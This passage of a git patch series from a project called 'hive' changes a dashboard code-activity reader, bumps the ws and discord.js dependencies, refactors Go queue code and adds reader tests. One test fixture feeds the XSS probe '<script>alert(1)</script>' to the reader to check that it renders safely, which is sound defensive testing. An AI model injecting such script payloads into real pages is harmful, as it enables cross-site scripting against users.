MAX_CARDS = 60, MAX_PENDING = 40, BASE_DWELL = 5000, LINE_DWELL = 600, MAX_DWELL = 30000; + var MAX_CARDS = 32, MAX_LINES = 1200, MAX_BYTES = 256 * 1024, BASE_DWELL = 5000, LINE_DWELL = 600, MAX_DWELL = 30000; var NAV_KEYS = ['ArrowUp', 'ArrowDown', 'PageUp', 'PageDown', 'Home', 'End']; - var STAGES = {'pushed-lines': 'pushed'}; var root = document.createElement('main'); root.id = 'hive-reader'; root.setAttribute('aria-label', 'Code activity reader'); @@ -7525,32 +7524,44 @@ button.setAttribute('type', 'button'); button.setAttribute('aria-pressed', 'false'); button.setAttribute('title', 'Pause or resume (P / Space)'); + var replay = element('button', 'reader-pause reader-replay', 'Replay buffered snapshot', bar); + replay.setAttribute('type', 'button'); + replay.setAttribute('title', 'Explicit replay of retained changes; off by default'); + var freshness = element('span', 'reader-freshness', 'Source has not completed an ingest pass', bar); var scroller = element('div', 'reader-scroll'); scroller.setAttribute('tabindex', '0'); var feed = element('div', 'reader-feed', '', scroller); var motion = window.matchMedia('(prefers-reduced-motion: reduce)'); var pending = [], current = null, readUntil = 0, timer = 0, lastSeq = 0; + var retained = [], retainedLines = 0, retainedBytes = 0, epoch = '', snapshotThrough = null, contentGeneration = 0; var enabled = false, manualPause = false, loading = false, again = false, problem = ''; function paused(){ return manualPause || document.hidden; } - function regionKey(line){ return [line.repo, line.pr, line.head || '', line.path].join('\u0000'); } - // Consecutive lines of one file at one head form one contiguous region; - // a gap in seq (a dropped line or another file) starts a new one. Only - // unread regions grow, so a paragraph on screen never changes. - function group(lines, stage){ - lines.forEach(function(line){ - var last = pending[pending.length - 1], seq = Number(line.seq) || 0; - if (last && last.key === regionKey(line) && seq && seq === last.lastSeq + 1) { - last.lines.push(line); last.lastSeq = seq; last.at = line.at; - return; + // The source supplies indivisible regions. Never infer a paragraph from + // neighbouring sequence numbers or merge across context/page boundaries. + function group(regions){ + regions.forEach(function(region){ + if (!region || !Array.isArray(region.lines) || !region.lines.length) return; + if (!region.lines.every(function(line){ return line && typeof line.line === 'string' && (line.op === '+' || line.op === '-'); })) return; + var size = region.lines.reduce(function(n, line){ return n + line.line.length * 2; }, 0); + if (region.lines.length > MAX_LINES || size > MAX_BYTES) return; + var item = {repo: region.repo, pr: region.pr, path: region.path, prURL: region.pr_url, + stage: 'Pushed PR', at: region.at, lines: region.lines, size: size, + delivery: Number(region.seq) <= snapshotThrough ? 'Buffered snapshot' : 'Newly received checkpoint'}; + retained.push(item); pending.push(item); + retainedLines += item.lines.length; retainedBytes += size; + while (retainedLines > MAX_LINES || retainedBytes > MAX_BYTES) { + var victim = retained.findIndex(function(r){ return r !== current; }); + var old = retained.splice(victim, 1)[0]; + retainedLines -= old.lines.length; retainedBytes -= old.size; + pending = pending.filter(function(r){ return r !== old; }); + if (old.node) { feed.removeChild(old.node); old.node = null; } + if (current === old) current = null; } - pending.push({key: regionKey(line), repo: line.repo, pr: Number(line.pr) || 0, path: line.path, - stage: stage, prUrl: line.pr_url, lines: [line], lastSeq: seq, at: line.at}); }); - if (pending.length > MAX_PENDING) pending = pending.slice(-MAX_PENDING); } - // Prefer an https pr_url from the source; otherwise derive the link from repo and PR number. function prLink(region){ - if (typeof region.prUrl === 'string' && /^https:\/\/[^\s<>"']+$/.test(region.prUrl)) return region.prUrl; + var url = typeof region.prURL === 'string' ? region.prURL : ''; + if (/^https:\/\/[^\s"'<>]+\/pull\/\d+$/.test(url)) return url; if (/^[\w.-]+\/[\w.-]+$/.test(region.repo || '') && region.pr > 0) { return 'https://github.com/' + region.repo + '/pull/' + region.pr; } @@ -7577,14 +7588,15 @@ } element('span', 'reader-file', region.path, meta); element('span', 'reader-stage', region.stage, meta); + element('span', 'reader-delivery', region.delivery, meta); var when = observed(region.at); var time = element('time', 'reader-time', when.text, meta); if (when.iso) time.setAttribute('datetime', when.iso); var diff = element('pre', 'reader-diff', '', article); region.lines.forEach(function(line){ - var del = line.op === '-'; - var row = element('span', 'reader-line ' + (del ? 'reader-del' : 'reader-add'), '', diff); - row.textContent = (del ? '\u2212' : line.op || '+') + ' ' + line.line + '\n'; + var removed = line.op === '-'; + var row = element('span', 'reader-line ' + (removed ? 'reader-del' : 'reader-add'), '', diff); + row.textContent = (removed ? '\u2212 ' : '+ ') + line.line + '\n'; }); return article; } @@ -7594,6 +7606,7 @@ while (feed.children.length > MAX_CARDS) { var first = feed.children[0], height = first.offsetHeight || 0; feed.removeChild(first); + retained.forEach(function(r){ if (r.node === first) r.node = null; }); scroller.scrollTop = Math.max(0, (scroller.scrollTop || 0) - height); } } @@ -7609,7 +7622,7 @@ var text = problem; if (!text && enabled) { if (pending.length) text = pending.length + (pending.length === 1 ? ' change' : ' changes') + ' waiting'; - else text = current ? 'Caught up Β· holding until new changes are pushed' : 'Waiting for pushed changes…'; + else text = current ? 'Caught up with available checkpoints Β· holding' : 'No buffered checkpoints Β· source may still be warming or filtering'; } if (paused()) text = 'paused' + (text ? ' Β· ' + text : ''); status.textContent = text; @@ -7655,51 +7668,55 @@ } function inspect(){ setPaused(true); } function clearContent(message){ + contentGeneration++; stop(); - enabled = false; pending = []; current = null; lastSeq = 0; problem = message; + enabled = false; pending = []; retained = []; retainedLines = 0; retainedBytes = 0; + current = null; lastSeq = 0; snapshotThrough = null; problem = message; feed.replaceChildren(); updateStatus(); } pull = function(){ + if (document.hidden) return; if (loading) { again = true; return; } loading = true; again = false; - fetch('/api/matrix/lines?since=' + lastSeq, {cache: 'no-store', credentials: 'same-origin'}) + var requestGeneration = contentGeneration; + fetch('/api/matrix/lines?since=' + lastSeq + '&format=regions', {cache: 'no-store', credentials: 'same-origin'}) .then(function(response){ + if (requestGeneration !== contentGeneration || document.hidden) return null; if (response.status === 404) { clearContent('The code activity reader is not enabled on this hive'); return null; } if (response.status === 401 || response.status === 403) { clearContent('Sign in with permission to read code activity'); return null; } if (!response.ok) throw new Error('reader pull failed'); return response.json(); }).then(function(data){ - if (!data) return; + if (!data || requestGeneration !== contentGeneration || document.hidden) return; var seq = Number(data.seq) || 0; - // A restarted hive can reset its sequence; start over cleanly. - if (seq < lastSeq) { stop(); pending = []; current = null; lastSeq = 0; feed.replaceChildren(); } - var raw = Array.isArray(data.lines) ? data.lines : []; - var incoming = raw.filter(function(line){ - return line && typeof line.line === 'string' && typeof line.repo === 'string' && typeof line.path === 'string'; - }); - var source = typeof data.source === 'string' ? data.source : ''; - group(incoming, STAGES[source] || source || 'pushed'); - // data.seq is the newest line the hive holds, not the last one in - // this page: the server caps a page, so resume from the last line - // returned and pull again until the page reaches the newest seq. - var returned = raw.length ? Number(raw[raw.length - 1] && raw[raw.length - 1].seq) || 0 : 0; - var more = returned > 0 && returned < seq; - lastSeq = more ? returned : seq; + if (data.epoch !== epoch || seq < lastSeq) { + clearContent(''); epoch = data.epoch; + } + if (snapshotThrough === null) snapshotThrough = Number(data.latest) || 0; + group(Array.isArray(data.regions) ? data.regions : []); + freshness.textContent = data.last_ingest_at + ? 'Last source pass: ' + data.last_ingest_at + ' Β· next expected in ' + (data.next_ingest_in_s || 0) + 's' + : 'Source has not completed an ingest pass Β· empty does not mean no work'; + if (seq < Number(data.latest)) again = true; + lastSeq = seq; enabled = true; problem = ''; - // Hold the reveal while catching up so a region split across - // pages still arrives as one paragraph. - if (more) { again = true; updateStatus(); return; } schedule(false); - }).catch(function(){ problem = 'Code activity unavailable Β· retrying'; updateStatus(); }) + }).catch(function(){ clearContent('Code activity unavailable Β· retrying'); }) .finally(function(){ loading = false; if (again) pull(); }); }; + replay.addEventListener('click', function(){ + if (!enabled || !retained.length) return; + stop(); feed.replaceChildren(); current = null; readUntil = 0; + retained.forEach(function(r){ r.node = null; r.delivery = 'Replay Β· buffered snapshot'; }); + pending = retained.slice(); schedule(false); + }); button.addEventListener('click', function(){ setPaused(!manualPause); }); scroller.addEventListener('wheel', inspect, {passive: true}); scroller.addEventListener('touchstart', inspect, {passive: true}); document.addEventListener('visibilitychange', function(){ - if (document.hidden) { stop(); updateStatus(); return; } - schedule(true); pull(); + if (document.hidden) { clearContent('Hidden Β· buffered code cleared'); return; } + pull(); }); document.addEventListener('keydown', function(event){ var target = event.target || {}; From e6cea675a69b7c2fd32c78f29a9022ec877e5136 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Wed, 4 Nov 2026 08:47:19 +0000 Subject: [PATCH 56/87] =?UTF-8?q?=F0=9F=8C=B1=20build(deps):=20bump=20ws?= =?UTF-8?q?=20from=208.22.0=20to=208.22.1=20in=20/dashboard=20(#16565)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Bumps [ws](https://github.com/websockets/ws) from 8.22.0 to 8.22.1. - [Release notes](https://github.com/websockets/ws/releases) - [Commits](https://github.com/websockets/ws/compare/8.22.0...8.22.1) --- updated-dependencies: - dependency-name: ws dependency-version: 8.22.1 dependency-type: direct:production update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- dashboard/package-lock.json | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/dashboard/package-lock.json b/dashboard/package-lock.json index d511a40ae0..bbfb4b88be 100644 --- a/dashboard/package-lock.json +++ b/dashboard/package-lock.json @@ -838,9 +838,9 @@ "license": "ISC" }, "node_modules/ws": { - "version": "8.22.0", - "resolved": "https://registry.npmjs.org/ws/-/ws-8.22.0.tgz", - "integrity": "sha512-Ydggc987+RO0AnWtZ/7Wq9FtNvcrL1b/RO0ud9mWjUPgDrsAAwQSF51sm2hm1XofbU/4jkpGEsLFsZZxU+1DOg==", + "version": "8.22.1", + "resolved": "https://registry.npmjs.org/ws/-/ws-8.22.1.tgz", + "integrity": "sha512-oyL6OPYme/CmiFvNuGzeoxCJ4nOrZE2O1FwM9MWM1AsGri6nLXB2pg+lNA8aLeXMSav0J6eIVS1j6vUPzUtK9g==", "license": "MIT", "engines": { "node": ">=10.0.0" From c368a5db6eddbcbd5b5fa0fce6c7cf33805f5929 Mon Sep 17 00:00:00 2001 From: thatguywob <revans.tech@icloud.com> Date: Wed, 4 Nov 2026 02:06:37 -0700 Subject: [PATCH 57/87] =?UTF-8?q?=F0=9F=8C=B1=20refactor:=20share=20review?= =?UTF-8?q?=20queue=20repository=20qualification=20(#16571)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * 🌱 refactor: share review queue repository qualification Export the existing review queue qualification helper and use it for both fixer queue keys and deferred-fix reconciliation. Review queue readers and fixer queue writers now share the same bare-repository qualification rule. Hive-Run: hivecommons/hive#16559 Hive-Plan: issue-16559/shared-repo-qualification Hive-Spec: issue-16559#single-qualification-helper Signed-off-by: thatguywob <thatguywob@users.noreply.github.com> * 🌱 changelog: document shared queue repository qualification Signed-off-by: thatguywob <thatguywob@users.noreply.github.com> --------- Signed-off-by: thatguywob <thatguywob@users.noreply.github.com> Co-authored-by: thatguywob <thatguywob@users.noreply.github.com> Co-authored-by: hivecommons-hive[bot] <280983584+hivecommons-hive[bot]@users.noreply.github.com> --- changelog.d/changed-16571-repo-qualification.md | 1 + src/cmd/hive/fixer_queue.go | 11 ++--------- src/pkg/github/review_queue.go | 10 ++++++---- 3 files changed, 9 insertions(+), 13 deletions(-) create mode 100644 changelog.d/changed-16571-repo-qualification.md diff --git a/changelog.d/changed-16571-repo-qualification.md b/changelog.d/changed-16571-repo-qualification.md new file mode 100644 index 0000000000..fea495872e --- /dev/null +++ b/changelog.d/changed-16571-repo-qualification.md @@ -0,0 +1 @@ +- Fixer queue keys and deferred-fix reconciliation now use the same repository qualification as the review queue, including whitespace trimming and empty-repository handling ([#16571](https://github.com/hivecommons/hive/pull/16571)). diff --git a/src/cmd/hive/fixer_queue.go b/src/cmd/hive/fixer_queue.go index 8eb210ef9a..4e70a810ae 100644 --- a/src/cmd/hive/fixer_queue.go +++ b/src/cmd/hive/fixer_queue.go @@ -48,11 +48,7 @@ func fixerQueueKey(org string, k review.DispatchKick) string { } } } - repo = strings.TrimSpace(repo) - if org != "" && repo != "" && !strings.Contains(repo, "/") { - repo = org + "/" + repo - } - return github.ReviewQueueKey(repo, number) + return github.ReviewQueueKey(github.ReviewQueueFullRepo(repo, org), number) } func reconcileDeferredFixQueue(gov *governor.Governor, org string, actionable *github.ActionableResult) { @@ -65,10 +61,7 @@ func reconcileDeferredFixQueue(gov *governor.Governor, org string, actionable *g if strings.EqualFold(pr.State, "closed") || !pr.ClosedAt.IsZero() || !pr.MergedAt.IsZero() { continue } - repo := pr.Repo - if org != "" && !strings.Contains(repo, "/") { - repo = org + "/" + repo - } + repo := github.ReviewQueueFullRepo(pr.Repo, org) open[github.ReviewQueueKey(repo, pr.Number)] = true } } diff --git a/src/pkg/github/review_queue.go b/src/pkg/github/review_queue.go index 6a863de493..ad73b8d0df 100644 --- a/src/pkg/github/review_queue.go +++ b/src/pkg/github/review_queue.go @@ -324,7 +324,9 @@ func ReviewQueueKey(fullRepo string, number int) string { return strings.ToLower(fmt.Sprintf("%s#%d", fullRepo, number)) } -func reviewQueueFullRepo(repo, org string) string { +// ReviewQueueFullRepo qualifies a bare repo name with org for queue identities. +// It trims whitespace and leaves empty or already-qualified repo names unchanged. +func ReviewQueueFullRepo(repo, org string) string { repo = strings.TrimSpace(repo) org = strings.TrimSpace(org) if repo == "" || strings.Contains(repo, "/") || org == "" { @@ -361,7 +363,7 @@ func BuildReviewQueue(prs []PullRequest, opts ReviewQueueOptions) []ReviewQueueE seen := make(map[string]bool, len(prs)) entries := make([]ReviewQueueEntry, 0, len(prs)) for _, pr := range prs { - full := reviewQueueFullRepo(pr.Repo, opts.Org) + full := ReviewQueueFullRepo(pr.Repo, opts.Org) if full == "" || pr.Number <= 0 { continue } @@ -605,7 +607,7 @@ func ReviewQueueFromActionable(actionable *ActionableResult, opts ReviewQueueOpt held[k] = v } for _, pr := range actionable.PRs.Held { - held[ReviewQueueKey(reviewQueueFullRepo(pr.Repo, opts.Org), pr.Number)] = true + held[ReviewQueueKey(ReviewQueueFullRepo(pr.Repo, opts.Org), pr.Number)] = true } opts.Held = held return BuildReviewQueue(prs, opts) @@ -628,7 +630,7 @@ func StampReviewQueue(actionable *ActionableResult, opts ReviewQueueOptions) []R } stamp := func(prs []PullRequest) { for i := range prs { - e, ok := byKey[ReviewQueueKey(reviewQueueFullRepo(prs[i].Repo, opts.Org), prs[i].Number)] + e, ok := byKey[ReviewQueueKey(ReviewQueueFullRepo(prs[i].Repo, opts.Org), prs[i].Number)] if !ok { continue } From 1e3ae3c0134780ee214d82cb3d9b7d2e870969c0 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Wed, 4 Nov 2026 09:20:10 +0000 Subject: [PATCH 58/87] =?UTF-8?q?=F0=9F=8C=B1=20build(deps):=20bump=20disc?= =?UTF-8?q?ord.js=20from=2014.27.0=20to=2014.28.0=20in=20/discord=20(#1656?= =?UTF-8?q?4)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Bumps [discord.js](https://github.com/discordjs/discord.js/tree/HEAD/packages/discord.js) from 14.27.0 to 14.28.0. - [Release notes](https://github.com/discordjs/discord.js/releases) - [Changelog](https://github.com/discordjs/discord.js/blob/14.28.0/packages/discord.js/CHANGELOG.md) - [Commits](https://github.com/discordjs/discord.js/commits/14.28.0/packages/discord.js) --- updated-dependencies: - dependency-name: discord.js dependency-version: 14.28.0 dependency-type: direct:production update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> Co-authored-by: hivecommons-hive[bot] <280983584+hivecommons-hive[bot]@users.noreply.github.com> --- discord/package-lock.json | 22 +++++++++++----------- discord/package.json | 2 +- 2 files changed, 12 insertions(+), 12 deletions(-) diff --git a/discord/package-lock.json b/discord/package-lock.json index 6edbe71ce5..e8712790d5 100644 --- a/discord/package-lock.json +++ b/discord/package-lock.json @@ -8,20 +8,20 @@ "name": "hive-discord", "version": "1.0.0", "dependencies": { - "discord.js": "^14.16.0", + "discord.js": "^14.28.0", "js-yaml": "^5.5.0" } }, "node_modules/@discordjs/builders": { - "version": "1.14.1", - "resolved": "https://registry.npmjs.org/@discordjs/builders/-/builders-1.14.1.tgz", - "integrity": "sha512-gSKkhXLqs96TCzk66VZuHHl8z2bQMJFGwrXC0f33ngK+FLNau4hU1PYny3DNJfNdSH+gVMzE85/d5FQ2BpcNwQ==", + "version": "1.15.0", + "resolved": "https://registry.npmjs.org/@discordjs/builders/-/builders-1.15.0.tgz", + "integrity": "sha512-AifaDWTw6WUDhKBn8E6mwwoyjDAcfsYq+ZE0nKSu1dMH1NLR22D3hGkNx+ctEv8NqHEHdAZnP5REteHDmn1lkA==", "license": "Apache-2.0", "dependencies": { "@discordjs/formatters": "^0.6.2", "@discordjs/util": "^1.2.0", "@sapphire/shapeshift": "^4.0.0", - "discord-api-types": "^0.38.40", + "discord-api-types": "^0.38.50", "fast-deep-equal": "^3.1.3", "ts-mixer": "^6.0.4", "tslib": "^2.6.3" @@ -229,19 +229,19 @@ ] }, "node_modules/discord.js": { - "version": "14.27.0", - "resolved": "https://registry.npmjs.org/discord.js/-/discord.js-14.27.0.tgz", - "integrity": "sha512-qHbFlFG2N7y3LjPySYsL6A1+BnX6bkTVgo842EX0CqVPk/KTMwZkojPHEXKsQUpWZNyz5BISNHK1cPpQw0+m4A==", + "version": "14.28.0", + "resolved": "https://registry.npmjs.org/discord.js/-/discord.js-14.28.0.tgz", + "integrity": "sha512-l/mIllvqvWQDWqa8NPw7b2AU2tM9oPWiWR6Jk54DTNlUdyArXbi+Y0m0sLIUtQ9O0x+tyVpDMCG6K6Kf0yeAWQ==", "license": "Apache-2.0", "dependencies": { - "@discordjs/builders": "^1.14.1", + "@discordjs/builders": "^1.15.0", "@discordjs/collection": "1.5.3", "@discordjs/formatters": "^0.6.2", - "@discordjs/rest": "^2.6.2", + "@discordjs/rest": "^2.6.3", "@discordjs/util": "^1.2.0", "@discordjs/ws": "^1.2.3", "@sapphire/snowflake": "3.5.5", - "discord-api-types": "^0.38.49", + "discord-api-types": "^0.38.50", "fast-deep-equal": "3.1.3", "lodash.snakecase": "4.1.1", "magic-bytes.js": "^1.13.0", diff --git a/discord/package.json b/discord/package.json index 5c9252c6ed..b1b6eb3ac2 100644 --- a/discord/package.json +++ b/discord/package.json @@ -7,7 +7,7 @@ "start": "node bot.js" }, "dependencies": { - "discord.js": "^14.16.0", + "discord.js": "^14.28.0", "js-yaml": "^5.5.0" } } From 1b8ef919630d4622b20a32b2ba4bc35657ae4552 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Ra=C3=BAl=20M=C3=A9ndez?= <18744521+mendezr@users.noreply.github.com> Date: Wed, 4 Nov 2026 10:45:51 +0100 Subject: [PATCH 59/87] =?UTF-8?q?=F0=9F=8C=B1=20chore:=20gofmt=20kubejob?= =?UTF-8?q?=20test=20fakeAPI=20fields=20(#16575)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Apply gofmt to the fakeAPI struct without changing test behavior. Hive-Run: hivecommons/hive#16573 Hive-Plan: issue-16573-formatting-follow-up Hive-Spec: issue-16573#fakeAPI-gofmt-alignment Signed-off-by: mendezr <mendezr@users.noreply.github.com> Co-authored-by: mendezr <mendezr@users.noreply.github.com> Co-authored-by: hivecommons-hive[bot] <280983584+hivecommons-hive[bot]@users.noreply.github.com> --- src/crux/kubejob/kubejob_test.go | 28 ++++++++++++++-------------- 1 file changed, 14 insertions(+), 14 deletions(-) diff --git a/src/crux/kubejob/kubejob_test.go b/src/crux/kubejob/kubejob_test.go index 31fc73d647..bd885d22d0 100644 --- a/src/crux/kubejob/kubejob_test.go +++ b/src/crux/kubejob/kubejob_test.go @@ -24,21 +24,21 @@ import ( // was sent, serves a scripted sequence of Job statuses, one pod, its log and // its terminated exit code, and records deletes. type fakeAPI struct { - mu sync.Mutex - created map[string]any - statuses []string // JSON bodies served to successive GET job calls - getCalls int - deleted bool - podName string - exitCode int - noPod bool - logBody string - podStatus string // "terminated" or "running" - failCode int // when >0, every request fails with this status - createErr int // when >0, POST fails with this status - onJobGet func() // called (under mu) on every GET job, after it is counted + mu sync.Mutex + created map[string]any + statuses []string // JSON bodies served to successive GET job calls + getCalls int + deleted bool + podName string + exitCode int + noPod bool + logBody string + podStatus string // "terminated" or "running" + failCode int // when >0, every request fails with this status + createErr int // when >0, POST fails with this status + onJobGet func() // called (under mu) on every GET job, after it is counted onPodLogAfterComplete func() // called (under mu) on pod log request after Job Complete - jobCompleted bool // tracks whether job status shows Complete + jobCompleted bool // tracks whether job status shows Complete } func newFakeAPI() *fakeAPI { From 7ef7d6295eb6ae7c3111d3b1e09d91449bd17d4d Mon Sep 17 00:00:00 2001 From: thatguywob <revans.tech@icloud.com> Date: Wed, 4 Nov 2026 04:09:47 -0700 Subject: [PATCH 60/87] =?UTF-8?q?=F0=9F=90=9B=20fix(dashboard):=20render?= =?UTF-8?q?=20reader=20context=20lines=20in=20a=20neutral=20color=20(#1657?= =?UTF-8?q?0)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * πŸ› fix(dashboard): render reader context lines in a neutral color Keep unchanged diff lines with op space neutral while preserving their prefix and text. Retain green additions for both explicit plus operators and the legacy source without an operator. Cover blank and indented context in the reader DOM scenarios and regenerate the dashboard page. Hive-Run: hivecommons/hive#16550 Hive-Plan: reader-context-line-rendering Hive-Spec: issue-16550#neutral-context-lines Signed-off-by: thatguywob <thatguywob@users.noreply.github.com> * πŸ“– docs: clarify reader context-line hardening Describe neutral context rendering as client-side support for a regions source that includes context. State that the current published-checkpoint source still emits only additions and removals. Signed-off-by: thatguywob <thatguywob@users.noreply.github.com> --------- Signed-off-by: thatguywob <thatguywob@users.noreply.github.com> Co-authored-by: thatguywob <thatguywob@users.noreply.github.com> Co-authored-by: hivecommons-hive[bot] <280983584+hivecommons-hive[bot]@users.noreply.github.com> --- .../fixed-16550-reader-context-lines.md | 1 + src/pkg/dashboard/reader_ui_test.go | 21 +++++++++++-------- src/pkg/dashboard/static-src/css/reader.css | 1 + src/pkg/dashboard/static-src/js/reader.js | 8 +++---- src/pkg/dashboard/static/index.html | 9 ++++---- 5 files changed, 23 insertions(+), 17 deletions(-) create mode 100644 changelog.d/fixed-16550-reader-context-lines.md diff --git a/changelog.d/fixed-16550-reader-context-lines.md b/changelog.d/fixed-16550-reader-context-lines.md new file mode 100644 index 0000000000..09744f34cf --- /dev/null +++ b/changelog.d/fixed-16550-reader-context-lines.md @@ -0,0 +1 @@ +- The code activity reader now accepts unchanged diff context lines (`op: ' '`) from a regions source and renders them in a neutral color with their space prefix, instead of dropping the whole region; the current published-checkpoint source still emits only `+`/`-` lines ([#16550](https://github.com/hivecommons/hive/issues/16550)). diff --git a/src/pkg/dashboard/reader_ui_test.go b/src/pkg/dashboard/reader_ui_test.go index 2a7d8a3acb..a40db176e2 100644 --- a/src/pkg/dashboard/reader_ui_test.go +++ b/src/pkg/dashboard/reader_ui_test.go @@ -45,7 +45,7 @@ func TestReaderUIWiring(t *testing.T) { } css := read("css/reader.css") // Long text wraps at a fixed size and the feed scrolls natively. - for _, want := range []string{"white-space: pre-wrap; overflow-wrap: anywhere;", "body.reader-mode .reader-scroll { flex: 1 1 auto; min-height: 0; overflow-y: auto;", "font: 20px/1.5 monospace;"} { + for _, want := range []string{"white-space: pre-wrap; overflow-wrap: anywhere;", "body.reader-mode .reader-scroll { flex: 1 1 auto; min-height: 0; overflow-y: auto;", "font: 20px/1.5 monospace;", "body.reader-mode .reader-context { color: var(--reader-text); }"} { if !strings.Contains(css, want) { t.Errorf("reader.css missing %q", want) } @@ -98,16 +98,18 @@ const reader = fs.readFileSync('static-src/js/reader.js', 'utf8'); const boot = fs.readFileSync('static-src/js/boot.js', 'utf8').split('})();')[0] + '})();'; const at = '2026-11-03T12:00:00Z'; const first = [ - {seq: 1, repo: 'org/repo', pr: 2, head: 'abc', path: 'main.go', line: '<script>alert(1)</script>', at}, + {seq: 1, repo: 'org/repo', pr: 2, head: 'abc', path: 'main.go', line: '<script>alert(1)</script>', op: '+', at}, {seq: 2, repo: 'org/repo', pr: 2, head: 'abc', path: 'main.go', line: '', at}, {seq: 3, repo: 'org/repo', pr: 2, head: 'abc', path: 'main.go', line: '\tx := 1', at}, {seq: 4, repo: 'org/repo', pr: 2, head: 'abc', path: 'main.go', line: '\tx := 1', at}, {seq: 5, repo: 'org/repo', pr: 2, head: 'abc', path: 'main.go', line: ' old()', op: '-', at}, - {seq: 6, repo: 'org/other', pr: 7, head: 'def', path: 'README.md', line: 'a very long line '.repeat(40), pr_url: 'https://github.com/org/other/pull/7', at}, + {seq: 6, repo: 'org/repo', pr: 2, head: 'abc', path: 'main.go', line: '\tunchanged()', op: ' ', at}, + {seq: 7, repo: 'org/repo', pr: 2, head: 'abc', path: 'main.go', line: '', op: ' ', at}, + {seq: 8, repo: 'org/other', pr: 7, head: 'def', path: 'README.md', line: 'a very long line '.repeat(40), pr_url: 'https://github.com/org/other/pull/7', at}, ]; async function scenario(query, opts = {}) { const docEvents = {}, timers = new Map(), requests = [], scrolls = [], sse = {}; - let id = 0, status = opts.status || 200, seq = 6, lines = first; + let id = 0, status = opts.status || 200, seq = 8, lines = first; const elements = []; function el(tag) { const e = {tagName: tag.toUpperCase(), children: [], listeners: {}, attrs: {}, className: '', textContent: '', hidden: false, scrollTop: 0, offsetHeight: 10, classList: {add(){}}, @@ -186,9 +188,10 @@ async function scenario(query, opts = {}) { const checkFirst = card => { // One contiguous region: blank, indented and repeated lines kept as text. - assert.deepEqual(rows(card), ['+ <script>alert(1)</script>\n', '+ \n', '+ \tx := 1\n', '+ \tx := 1\n', '\u2212 old()\n']); + // Context retains its space prefix and stays neutral, including blank lines. + assert.deepEqual(rows(card), ['+ <script>alert(1)</script>\n', '+ \n', '+ \tx := 1\n', '+ \tx := 1\n', '\u2212 old()\n', ' \tunchanged()\n', ' \n']); assert.equal(card.children[1].tagName, 'PRE'); - assert.deepEqual(card.children[1].children.map(r => r.className), ['reader-line reader-add', 'reader-line reader-add', 'reader-line reader-add', 'reader-line reader-add', 'reader-line reader-del']); + assert.deepEqual(card.children[1].children.map(r => r.className), ['reader-line reader-add', 'reader-line reader-add', 'reader-line reader-add', 'reader-line reader-add', 'reader-line reader-del', 'reader-line reader-context', 'reader-line reader-context']); const [repo, file, stage, delivery, time] = meta(card); assert.equal(repo.tagName, 'A'); assert.equal(repo.textContent, 'org/repo #2'); assert.equal(repo.href, 'https://github.com/org/repo/pull/2'); assert.equal(repo.attrs.rel, 'noopener noreferrer'); @@ -206,7 +209,7 @@ async function scenario(query, opts = {}) { // Static and scrollable: everything shown at once, nothing scheduled or scrolled. assert.equal(feed.children.length, 2); assert.equal(timers.size, 0); assert.equal(scrolls.length, 0); checkFirst(feed.children[0]); checkSecond(feed.children[1]); - lines = [{seq: 7, repo: 'org/repo', pr: 2, head: 'abc', path: 'b.go', line: 'next', at}]; seq = 7; + lines = [{seq: 9, repo: 'org/repo', pr: 2, head: 'abc', path: 'b.go', line: 'next', at}]; seq = 9; sse['code-lines'](); await flush(); assert.equal(feed.children.length, 3); assert.equal(timers.size, 0); assert.equal(scrolls.length, 0); return; @@ -216,9 +219,9 @@ async function scenario(query, opts = {}) { assert.equal(timers.size, 1); assert.equal(scrolls.at(-1).behavior, 'smooth'); assert(statusEl.textContent.includes('1 change waiting')); // Incoming work queues behind the paragraph being read. - lines = [{seq: 7, repo: 'org/repo', pr: 2, head: 'abc', path: 'b.go', line: 'next', at}]; seq = 7; + lines = [{seq: 9, repo: 'org/repo', pr: 2, head: 'abc', path: 'b.go', line: 'next', at}]; seq = 9; sse['code-lines'](); await flush(); - assert.equal(requests.at(-1), '/api/matrix/lines?since=6&format=regions'); + assert.equal(requests.at(-1), '/api/matrix/lines?since=8&format=regions'); assert.equal(feed.children.length, 1); assert.equal(timers.size, 1); // P pauses and resumes; the button mirrors it. key('p'); assert.equal(timers.size, 0); assert.equal(button.textContent, 'Resume'); diff --git a/src/pkg/dashboard/static-src/css/reader.css b/src/pkg/dashboard/static-src/css/reader.css index 9f3a4398ca..c12e6dc01c 100644 --- a/src/pkg/dashboard/static-src/css/reader.css +++ b/src/pkg/dashboard/static-src/css/reader.css @@ -21,5 +21,6 @@ body.reader-mode a.reader-repo { text-decoration: underline; } body.reader-mode .reader-diff { margin: .5rem 0 0; font: inherit; white-space: pre-wrap; overflow-wrap: anywhere; } body.reader-mode .reader-add { color: var(--reader-add); } body.reader-mode .reader-del { color: var(--reader-del); } +body.reader-mode .reader-context { color: var(--reader-text); } body.reader-mode #hive-reader [hidden] { display: none !important; } body.reader-mode #kiosk-cta { position: fixed; right: var(--sp-6); bottom: var(--sp-6); z-index: 100001; opacity: .85; } diff --git a/src/pkg/dashboard/static-src/js/reader.js b/src/pkg/dashboard/static-src/js/reader.js index 58a1d473fb..fc03ec7729 100644 --- a/src/pkg/dashboard/static-src/js/reader.js +++ b/src/pkg/dashboard/static-src/js/reader.js @@ -51,7 +51,7 @@ function group(regions){ regions.forEach(function(region){ if (!region || !Array.isArray(region.lines) || !region.lines.length) return; - if (!region.lines.every(function(line){ return line && typeof line.line === 'string' && (line.op === '+' || line.op === '-'); })) return; + if (!region.lines.every(function(line){ return line && typeof line.line === 'string' && (line.op === '+' || line.op 